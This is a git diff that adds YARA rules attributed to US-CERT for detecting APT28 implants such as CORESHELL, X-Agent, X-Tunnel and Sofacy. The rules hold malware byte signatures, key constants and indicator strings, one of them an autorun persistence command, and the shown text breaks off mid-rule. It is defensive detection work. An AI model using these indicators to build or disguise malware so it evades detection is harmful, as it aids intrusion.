+rule IMPLANT_2_v14
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {8b??448944246041f7e08bf2b8abaaaaaac1ee0289742458448b??41f7??8bcaba03000000c1e902890c248d044903c0442b??4489??24043bf10f83??0100008d1c764c896c24 }
+	$STR2 = {c541f7e0????????????8d0c5203c92bc18bc8??8d04??460fb60c??4002c7418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa46220c??418d48fef7e1c1ea028d045203c02bc88bc1}
+	$STR3 = {41f7e0c1ea02418bc08d0c5203c92bc18bc8428d041b460fb60c??4002c6418d48ff4432c8b8abaaaaaaf7e1c1ea028d045203c02bc8b8abaaaaaa}
+	$STR4 = {46220c??418d48fef7e1c1ea028d04528b54245803c02bc88bc10fb64fff420fb604??410fafcbc1}
+
+condition:
+	(uint16(0) == 0x5A4D) and any of them
+}
+
+rule IMPLANT_2_v15
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$XOR_LOOP1 = { 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 }
+	$XOR_LOOP2 = { 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 }
+	$XOR_LOOP3 = { 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 }
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_2_v16
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+	$OBF_FUNCT = { 0F B6 1C 0B 8D 34 08 8D 04 0A 0F AF D8 33 D2 8D 41 FF F7 75 F8 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 8B 45 DC 72 9A }
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $OBF_FUNCT
+}
+
+rule IMPLANT_2_v17
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = { 24108b44241c894424148b4424246836 }
+	$STR2 = { 518d4ddc516a018bd08b4de4e8360400 }
+	$STR3 = { e48178061591df75740433f6eb1a8b48 }
+	$STR4 = { 33d2f775f88b45d402d903c641321c3a }
+	$STR5 = { 006a0056ffd083f8ff74646a008d45f8 }
+
+condition:
+	(uint16(0) == 0x5A4D) and 2 of them
+}
+
+rule IMPLANT_2_v18
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+	$STR1 = { 8A C1 02 C0 8D 1C 08 8B 45 F8 02 DB 8D 4A 02 8B 55 0C 88 5D FF 8B 5D EC 83 C2
+FE 03 D8 89 55 E0 89 5D DC 8D 49 00 03 C1 8D 34 0B 0F B6 1C 0A 0F AF D8 33 D2 8D 41 FF F7 75
+F4 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D
+59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B
+55 E0 02 C3 30 06 8B 5D DC 8D 41 FE 83 F8 06 8B 45 F8 72 9B 8B 4D F0 8B 5D D8 8B 7D 08 8B F0
+41 83 C6 06 89 4D F0 89 75 F8 3B 4D D4 0F 82 ?? ?? ?? ?? 8B 55 E8 3B CB 75 09 8D 04 5B 03 C0 2B
+F8 EB 02 33 FF 3B FA 0F 83 ?? ?? ?? ?? 8B 5D EC 8A C1 02 C0 83 C3 FE 8D 14 08 8D 04 49 02 D2 03
+C0 88 55 0B 8D 48 FE 8D 57 02 03 C3 89 4D D4 8B 4D 0C 89 55 F8 89 45 D8 EB 06 8D 9B 00 00 00
+00 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1 EB 07
+8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45
+F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 }
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_2_v19
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+	$obfuscated_RSA1 = { 7C 41 B4 DB ED B0 B8 47 F1 9C A1 49 B6 57 A6 CC D6 74 B5 52 12 4D
+FC B1 B6 3B 85 73 DF AB 74 C9 25 D8 3C EA AE 8F 5E D2 E3 7B 1E B8 09 3C AF 76 A1 38 56 76
+BB A0 63 B6 9E 5D 86 E4 EC B0 DC 89 1E FA 4A E5 79 81 3F DB 56 63 1B 08 0C BF DC FC 75 19
+3E 1F B3 EE 9D 4C 17 8B 16 9D 99 C3 0C 89 06 BB F1 72 46 7E F4 0B F6 CB B9 C2 11 BE 5E 27 94
+5D 6D C0 9A 28 F2 2F FB EE 8D 82 C7 0F 58 51 03 BF 6A 8D CD 99 F8 04 D6 F7 F7 88 0E 51 88 B4
+E1 A9 A4 3B }
+	$cleartext_RSA1 = { 06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00 01 00 01 00 AF BD 26 C9
+04 65 45 9F 0E 3F C4 A8 9A 18 C8 92 00 B2 CC 6E 0F 2F B2 71 90 FC 70 2E 0A F0 CA AA 5D F4 CA
+7A 75 8D 5F 9C 4B 67 32 45 CE 6E 2F 16 3C F1 8C 42 35 9C 53 64 A7 4A BD FA 32 99 90 E6 AC EC
+C7 30 B2 9E 0B 90 F8 B2 94 90 1D 52 B5 2F F9 8B E2 E6 C5 9A 0A 1B 05 42 68 6A 3E 88 7F 38 97
+49 5F F6 EB ED 9D EF 63 FA 56 56 0C 7E ED 14 81 3A 1D B9 A8 02 BD 3A E6 E0 FA 4D A9 07 5B
+E6 }
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
+
+rule IMPLANT_2_v20
+{
+meta:
+	author = "US-CERT"
+	description = "CORESHELL/SOURFACE"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$func = { 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75
+F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32
+0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8
+8B 45 D8 89 55 F8 72 A0 }
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
diff --git a/yara-mikesxrs/US CERT/APT28_IMPLANT_3.yara b/yara-mikesxrs/US CERT/APT28_IMPLANT_3.yara
new file mode 100644
index 0000000..8addf3e
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT28_IMPLANT_3.yara	
@@ -0,0 +1,49 @@
+rule IMPLANT_3_v1
+{
+meta:
+	author = "US-CERT"
+	description = "X-Agent/CHOPSTICK"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = ">process isn't exist<" ascii wide
+	$STR2 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" ascii wide
+	$STR3 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" ascii wide
+	$STR4 = "webhp?rel=psy&hl=7&ai=" ascii wide
+	$STR5 = {0f b6 14 31 88 55 ?? 33 d2 8b c1 f7 75 ?? 8b 45 ?? 41 0f b6 14 02 8a 45 ?? 03 fa}
+
+condition:
+	any of them
+}
+
+
+rule IMPLANT_3_v2
+{
+meta:
+	author = "US-CERT"
+	description = "X-Agent/CHOPSTICK"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+	$base_key_moved = {C7 45 ?? 3B C6 73 0F C7 45 ?? 8B 07 85 C0 C7 45 ?? 74 02 FF D0 C7 45 ??
+83 C7 04 3B C7 45 ?? FE 72 F1 5F C7 45 ?? 5E C3 8B FF C7 45 ?? 56 B8 D8 78 C7 45 ?? 75 07 50 E8
+C7 45 ?? B1 D1 FF FF C7 45 ?? 59 5D C3 8B C7 45 ?? FF 55 8B EC C7 45 ?? 83 EC 10 A1 66 C7 45 ??
+33 35}
+	$base_key_b_array = {3B C6 73 0F 8B 07 85 C0 74 02 FF D0 83 C7 04 3B FE 72 F1 5F 5E C3 8B
+FF 56 B8 D8 78 75 07 50 E8 B1 D1 FF FF 59 5D C3 8B FF 55 8B EC 83 EC 10 A1 33 35 }
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
+
+rule IMPLANT_3_v3
+{
+meta:
+	author = "US-CERT"
+	description = "X-Agent/CHOPSTICK"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+	$STR1 = ".?AVAgentKernel@@"
+ 	$STR2 = ".?AVIAgentModule@@"
+ 	$STR3 = "AgentKernel"
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
diff --git a/yara-mikesxrs/US CERT/APT28_IMPLANT_5.yara b/yara-mikesxrs/US CERT/APT28_IMPLANT_5.yara
new file mode 100644
index 0000000..1ff53cf
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT28_IMPLANT_5.yara	
@@ -0,0 +1,192 @@
+rule IMPLANT_5_v1
+{
+meta:
+	author = "US-CERT"
+	description = "X-Tunnel"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$hexstr = {2D 00 53 00 69 00 00 00 2D 00 53 00 70 00 00 00 2D 00 55 00 70 00 00 00 2D 00 50 00
+69 00 00 00 2D 00 50 00 70 00 00 00}
+	$UDPMSG1 = "error 2005 recv from server UDP - %d\x0a"
+	$TPSMSG1 = "error 2004 send to TPS - %d\x0a"
+	$TPSMSG2 = "error 2003 recv from TPS - %d\x0a"
+	$UDPMSG2 = "error 2002 send to server UDP - %d\x0a"
+
+condition:
+	any of them
+}
+
+rule IMPLANT_5_v2
+{
+meta:
+	author = "US-CERT"
+	description = "X-Tunnel"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$key0 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
+	$key1 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
+	$key2 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
+	$key3 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
+	$key4 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
+	$key5 = { 34F1AE17017AF16021ADA5CE3F77675BBC6E7DEC6478D6078A0B22E5FDFF3B31 }
+	$key6 = { F0EA48F164395186E6F754256EBB812A2AFE168E77ED9501F8B8E6F5B72126A7 }
+	$key7 = { 0B6E9970A8EAF68EE14AB45005357A2F3391BEAA7E53AB760B916BC2B3916ABE }
+	$key8 = { FF032EA7ED2436CF6EEA1F741F99A3522A61FDA8B5A81EC03A8983ED1AEDAB1A }
+	$key9 = { F0DAC1DDFEF7AC6DE1CBE1006584538FE650389BF8565B32E0DE1FFACBCB14BB }
+	$key10 = { A5D699A3CD4510AF11F1AF767602055C523DF74B94527D74319D6EFC6883B80D }
+	$key11 = { 5951B02696C1D5A7B2851D28872384DA607B25F4CEA268FF3FD7FBA75AB3B4B3 }
+	$key12 = { 0465D99B26AF42D8346001BB838595E301BAD8CF5D40CE9C17C944717DF82481 }
+	$key13 = { 5DFE1C83AD5F5CE1BF5D9C42E23225E3ECFDB2493E80E6554A2AC7C722EB4880 }
+	$key14 = { E9650396C45F7783BC14C59F46EA8232E8357C26B5627BFF8C42C6AE2E0F2E17 }
+	$key15 = { 7432AE389125BB4E3980ED7F6A6FB252A42E785A90F4591C3620CA642FF97CA3 }
+	$key16 = { 2B2ADBBC4F960A8916F7088067BAD30BE84B65783FBF9476DF5FDA0E5856B183 }
+	$key17 = { 808C3FD0224A59384161B8A81C8BB404D7197D16D8118CB77067C5C8BD764B3E }
+	$key18 = { 028B0E24D5675C16C815BFE4A073E9778C668E65771A1CE881E2B03F58FC7D5B }
+	$key19 = { 878B7F5CF2DC72BAF1319F91A4880931EE979665B1B24D3394FE72EDFAEF4881 }
+	$key20 = { 7AC7DD6CA34F269481C526254D2F563BC6ECA1779FEEAA33EC1C20E60B686785 }
+	$key21 = { 3044F1D394186815DD8E3A2BBD9166837D07FA1CF6A550E2C170C9CDD9305209 }
+	$key22 = { 7544DC095C441E39D258648FE9CB1267D20D83C8B2D3AB734474401DA4932619 }
+	$key23 = { D702223347406C1999D1A9829CBBE96EC86D377A40E2EE84562EA1FAC1C71498 }
+	$key24 = { CA36CB1177382A1009D392A58F7C1357E94AD2292CC0AE82EE4F7DB0179148E1 }
+	$key25 = { C714F23E4C1C4E55F0E1FA7F5D0DD64658A86F84681D07576D840784154F65DC }
+	$key26 = { 63571BAF736904634AFEE2A70CB9ED64615DE8CA7AEF21E773286B8877D065DB }
+	$key27 = { 27808A9BE98FFE348DE1DB999AC9FDFB26E6C5A0D5E688490EF3D186C43661EB }
+	$key28 = { B6EB86A07A85D40866AFA100789FFB9E85C13F5AA7C7A3B6BA753C7EAB9D6A62 }
+	$key29 = { 88F0020375D60BDB85ACDBFE4BD79CD098DB2B3FA2CEF55D4331DBEFCE455157 }
+	$key30 = { 36535AAB296587AE1162AC5D39492DD1245811C72706246A38FF590645AA5D7B }
+	$key31 = { FDB726261CADD52E10818B49CAB81BEF112CB63832DAA26AD9FC711EA6CE99A4 }
+	$key32 = { 86C0CAA26D9FD07D215BC7EB14E2DA250E905D406AFFAB44FB1C62A2EAFC4670 }
+	$key33 = { BC101329B0E3A7D13F6EBC535097785E27D59E92D449D6D06538725034B8C0F0 }
+	$key34 = { C8D31A78B7C149F62F06497F9DC1DDC4967B566AC52C3A2A65AC7A99643B8A2D }
+	$key35 = { 0EA4A5C565EFBB94F5041392C5F0565B6BADC630D9005B3EADD5D81110623E1F }
+	$key36 = { 06E4E46BD3A0FFC8A4125A6A02B0C56D5D8B9E378CF97539CE4D4ADFAF89FEB5 }
+	$key37 = { 6DE22040821F0827316291331256A170E23FA76E381CA7066AF1E5197AE3CFE7 }
+	$key38 = { C6EF27480F2F6F40910074A45715143954BBA78CD74E92413F785BBA5B2AA121 }
+	$key39 = { 19C96A28F8D9698ADADD2E31F2426A46FD11D2D45F64169EDC7158389BFA59B4 }
+	$key40 = { C3C3DDBB9D4645772373A815B5125BB2232D8782919D206E0E79A6A973FF5D36 }
+	$key41 = { C33AF1608037D7A3AA7FB860911312B4409936D236564044CFE6ED42E54B78A8 }
+	$key42 = { 856A0806A1DFA94B5E62ABEF75BEA3B657D9888E30C8D2FFAEC042930BBA3C90 }
+	$key43 = { 244496C524401182A2BC72177A15CDD2EF55601F1D321ECBF2605FFD1B9B8E3F }
+	$key44 = { DF24050364168606D2F81E4D0DEB1FFC417F1B5EB13A2AA49A89A1B5242FF503 }
+	$key45 = { 54FA07B8108DBFE285DD2F92C84E8F09CDAA687FE492237F1BC4343FF4294248 }
+	$key46 = { 23490033D6BF165B9C45EE65947D6E6127D6E00C68038B83C8BFC2BCE905040C }
+	$key47 = { 4E044025C45680609B6EC52FEB3491130A711F7375AAF63D69B9F952BEFD5F0C }
+	$key48 = { 019F31C5F5B2269020EBC00C1F511F2AC23E9D37E89374514C6DA40A6A03176C }
+	$key49 = { A2483197FA57271B43E7276238468CFB8429326CBDA7BD091461147F642BEB06 }
+	$key50 = { 731C9D6E74C589B7ACB019E5F6A6E07ACF12E68CB9A396CE05AA4D69D5387048 }
+	$key51 = { 540DB6C8D23F7F7FEF9964E53F445F0E56459B10E931DEEEDB2B57B063C7F8B7 }
+	$key52 = { D5AF80A7EEFF26DE988AC3D7CE23E62568813551B2133F8D3E973DA15E355833 }
+	$key53 = { E4D8DBD3D801B1708C74485A972E7F00AFB45161C791EE05282BA68660FFBA45 }
+	$key54 = { D79518AF96C920223D687DD596FCD545B126A678B7947EDFBF24661F232064FB }
+	$key55 = { B57CAA4B45CA6E8332EB58C8E72D0D9853B3110B478FEA06B35026D7708AD225 }
+	$key56 = { 077C714C47DFCF79CA2742B1544F4AA8035BB34AEA9D519DEE77745E01468408 }
+	$key57 = { C3F5550AD424839E4CC54FA015994818F4FB62DE99B37C872AF0E52C376934FA }
+	$key58 = { 5E890432AE87D0FA4D209A62B9E37AAEDEDC8C779008FEBAF9E4E6304D1B2AAC }
+	$key59 = { A42EDE52B5AF4C02CFE76488CADE36A8BBC3204BCB1E05C402ECF450071EFCAB }
+	$key60 = { 4CDAFE02894A04583169E1FB4717A402DAC44DA6E2536AE53F5F35467D31F1CA }
+	$key61 = { 0BEFCC953AD0ED6B39CE6781E60B83C0CFD166B124D1966330CBA9ADFC9A7708 }
+	$key62 = { 8A439DC4148A2F4D5996CE3FA152FF702366224737B8AA6784531480ED8C8877 }
+	$key63 = { CF253BE3B06B310901FF48A351471374AD35BBE4EE654B72B860F2A6EC7B1DBB }
+	$key64 = { A0599F50C4D059C5CFA16821E97C9596B1517B9FB6C6116F260415127F32CE1F }
+	$key65 = { 8B6D704F3DC9150C6B7D2D54F9C3EAAB14654ACA2C5C3952604E65DF8133FE0C }
+	$key66 = { A06E5CDD3871E9A3EE17F7E8DAE193EE47DDB87339F2C599402A78C15D77CEFD }
+	$key67 = { E52ADA1D9BC4C089DBB771B59904A3E0E25B531B4D18B58E432D4FA0A41D9E8A }
+	$key68 = { 4778A7E23C686C171FDDCCB8E26F98C4CBEBDF180494A647C2F6E7661385F05B }
+	$key69 = { FE983D3A00A9521F871ED8698E702D595C0C7160A118A7630E8EC92114BA7C12 }
+	$key70 = { 52BA4C52639E71EABD49534BBA80A4168D15762E2D1D913BAB5A5DBF14D9D166 }
+	$key71 = { 931EB8F7BC2AE1797335C42DB56843427EB970ABD601E7825C4441701D13D7B1 }
+	$key72 = { 318FA8EDB989672DBE2B5A74949EB6125727BD2E28A4B084E8F1F50604CCB735 }
+	$key73 = { 5B5F2315E88A42A7B59C1B493AD15B92F819C021BD70A5A6619AAC6666639BC2 }
+	$key74 = { C2BED7AA481951FEB56C47F03EA38236BC425779B2FD1F1397CB79FE2E15C0F0 }
+	$key75 = { D3979B1CB0EC1A655961559704D7CDC019253ACB2259DFB92558B7536D774441 }
+	$key76 = { 0EDF5DBECB772424D879BBDD51899D6AAED736D0311589566D41A9DBB8ED1CC7 }
+	$key77 = { CC798598F0A9BCC82378A5740143DEAF1A147F4B2908A197494B7202388EC905 }
+	$key78 = { 074E9DF7F859BF1BD1658FD2A86D81C282000EAB09AF4252FAB45433421D3849 }
+	$key79 = { 6CD540642E007F00650ED20D7B54CFFD54DDA95D8DEBB087A004BAE222F22C8E }
+	$key80 = { C76CF2F66C71F6D17FC8DEFA1CAEF8718BA1CE188C7EA02C835A0FA54D3B3314 }
+	$key81 = { A7250A149600E515C9C40FE5720756FDA8251635A3B661261070CB5DABFE7253 }
+	$key82 = { 237C67B97D4CCE4610DE2B82E582808EA796C34A4C24715C953CBA403B2C935E }
+	$key83 = { A8FA182547E66B57C497DAAA195A38C0F0FB0A3C1F7B98B4B852F5F37E885127 }
+	$key84 = { 83694CCA50B821144FFBBE6855F62845F1328111AE1AC5666CBA59EB43AA12C6 }
+	$key85 = { 145E906416B17865AD37CD022DF5481F28C930D6E3F53C50B0953BF33F4DB953 }
+	$key86 = { AB49B7C2FA3027A767F5AA94EAF2B312BBE3E89FD924EF89B92A7CF977354C22 }
+	$key87 = { 7E04E478340C209B01CA2FEBBCE3FE77C6E6169F0B0528C42FA4BDA6D90AC957 }
+	$key88 = { 0EADD042B9F0DDBABA0CA676EFA4EDB68A045595097E5A392217DFFC21A8532F }
+	$key89 = { 5623710F134ECACD5B70434A1431009E3556343ED48E77F6A557F2C7FF46F655 }
+	$key90 = { 6968657DB62F4A119F8E5CB3BF5C51F4B285328613AA7DB9016F8000B576561F }
+	$key91 = { DEBB9C95EAE6A68974023C335F8D2711135A98260415DF05845F053AD65B59B4 }
+	$key92 = { 16F54900DBF08950F2C5835153AB636605FB8C09106C0E94CB13CEA16F275685 }
+	$key93 = { 1C9F86F88F0F4882D5CBD32876368E7B311A84418692D652A6A4F315CC499AE8 }
+	$key94 = { E920E0783028FA05F4CE2D6A04BBE636D56A775CFD4DAEA3F2A1B8BEEB52A6D4 }
+	$key95 = { 73874CA3AF47A8A315D50E1990F44F655EC7C15B146FFE0611B6C4FC096BD07C }
+	$key96 = { F21C1FA163C745789C53922C47E191A5A85301BDC2FFC3D3B688CFBFF39F3BE5 }
+	$key97 = { BC5A861F21CB98BD1E2AE9650B7A0BB4CD0C71900B3463C1BC3380AFD2BB948E }
+	$key98 = { 151BAE36E646F30570DC6A7B57752F2481A0B48DD5184E914BCF411D8AD5ACA0 }
+	$key99 = { F05AD6D7A0CADC10A6468BFDBCBB223D5BD6CA30EE19C239E8035772D80312C9 }
+	$key100 = { 5DE9A0FDB37C0D59C298577E5379BCAF4F86DF3E9FA17787A4CEFA7DD10C462E }
+	$key101 = { F5E62BA862380224D159A324D25FD321E5B35F8554D70CF9A506767713BCA508 }
+	$key102 = { A2D1B10409B328DA0CCBFFDE2AD2FF10855F95DA36A1D3DBA84952BB05F8C3A7 }
+	$key103 = { C974ABD227D3AD339FAC11C97E11D904706EDEA610B181B8FAD473FFCC36A695 }
+	$key104 = { AB5167D2241406C3C0178D3F28664398D5213EE5D2C09DCC9410CB604671F5F1 }
+	$key105 = { C25CC4E671CAAA31E137700A9DB3A272D4E157A6A1F47235043D954BAE8A3C70 }
+	$key106 = { E6005757CA0189AC38F9B6D5AD584881399F28DA949A0F98D8A4E3862E20F715 }
+	$key107 = { 204E6CEB4FF59787EF4D5C9CA5A41DDF4445B9D8E0C970B86D543E9C7435B194 }
+	$key108 = { 831D7FD21316590263B69E095ABBE89E01A176E16AE799D83BD774AF0D254390 }
+	$key109 = { 42C36355D9BC573D72F546CDB12E6BB2CFE2933AC92C12040386B310ABF6A1ED }
+	$key110 = { B9044393C09AD03390160041446BF3134D864D16B25F1AB5E5CDC690C4677E7D }
+	$key111 = { 6BC1102B5BE05EEBF65E2C3ACA1F4E17A59B2E57FB480DE016D371DA3AEF57A5 }
+	$key112 = { B068D00B482FF73F8D23795743C76FE8639D405EE54D3EFB20AFD55A9E2DFF4E }
+	$key113 = { 95CF5ADDFE511C8C7496E3B75D52A0C0EFE01ED52D5DD04D0CA6A7ABD3A6F968 }
+	$key114 = { 75534574A4620019F8E3D055367016255034FA7D91CBCA9E717149441742AC8D }
+	$key115 = { 96F1013A5301534BE424A11A94B740E5EB3A627D052D1B769E64BAB6A666433C }
+	$key116 = { 584477AB45CAF729EE9844834F84683ABECAB7C4F7D23A9636F54CDD5B8F19B3 }
+	$key117 = { D3905F185B564149EE85CC3D093477C8FF2F8CF601C68C38BBD81517672ECA3A }
+	$key118 = { BF29521A7F94636D1930AA236422EB6351775A523DE68AF9BF9F1026CEDA618D }
+	$key119 = { 04B3A783470AF1613A9B849FBD6F020EE65C612343EB1C028B2C28590789E60B }
+	$key120 = { 3D8D8E84977FE5D21B6971D8D873E7BED048E21333FE15BE2B3D1732C7FD3D04 }
+	$key121 = { 8ACB88224B6EF466D7653EB0D8256EA86D50BBA14FD05F7A0E77ACD574E9D9FF }
+	$key122 = { B46121FFCF1565A77AA45752C9C5FB3716B6D8658737DF95AE8B6A2374432228 }
+	$key123 = { A4432874588D1BD2317224FB371F324DD60AB25D4191F2F01C5C13909F35B943 }
+	$key124 = { 78E1B7D06ED2A2A044C69B7CE6CDC9BCD77C19180D0B082A671BBA06507349C8 }
+	$key125 = { 540198C3D33A631801FE94E7CB5DA3A2D9BCBAE7C7C3112EDECB342F3F7DF793 }
+	$key126 = { 7E905652CAB96ACBB7FEB2825B55243511DF1CD8A22D0680F83AAF37B8A7CB36 }
+	$key127 = { 37218801DBF2CD92F07F154CD53981E6189DBFBACAC53BC200EAFAB891C5EEC8 }
+
+condition:
+	any of them
+}
+
+rule IMPLANT_5_v3
+{
+meta:
+	author = "US-CERT"
+	description = "X-Tunnel"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$BYTES1 = { 0F AF C0 6? C0 07 00 00 00 2D 01 00 00 00 0F AF ?? 39 ?8 }
+	$BYTES2 = { 0F AF C0 6? C0 07 48 0F AF ?? 39 ?8 }
+
+condition:
+	any of them
+}
+
+rule IMPLANT_5_v4
+{
+meta:
+	author = "US-CERT"
+	description = "X-Tunnel"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$FBKEY1 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
+	$FBKEY2 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
+	$FBKEY3 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
+	$FBKEY4 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
+	$FBKEY5 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
+
+condition:
+	all of them
+}
diff --git a/yara-mikesxrs/US CERT/APT28_IMPLANT_6.yara b/yara-mikesxrs/US CERT/APT28_IMPLANT_6.yara
new file mode 100644
index 0000000..e0300d7
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT28_IMPLANT_6.yara	
@@ -0,0 +1,125 @@
+rule IMPLANT_6_v1
+{
+meta:
+	author = "US-CERT"
+	description = "Sofacy, Sednit, EVILTOSS"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = "dll.dll" wide ascii
+	$STR2 = "Init1" wide ascii
+	$STR3 = "netui.dll" wide ascii
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_6_v2
+{
+meta:
+	author = "US-CERT"
+	description = "Sofacy, Sednit, EVILTOSS"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$obf_func = { 8B 45 F8 6A 07 03 C7 33 D2 89 45 E8 8D 47 01 5B 02 4D 0F F7 F3 6A 07 8A 04 32
+33 D2 F6 E9 8A C8 8B C7 F7 F3 8A 44 3E FE 02 45 FC 02 0C 32 B2 03 F6 EA 8A D8 8D 47 FF 33 D2
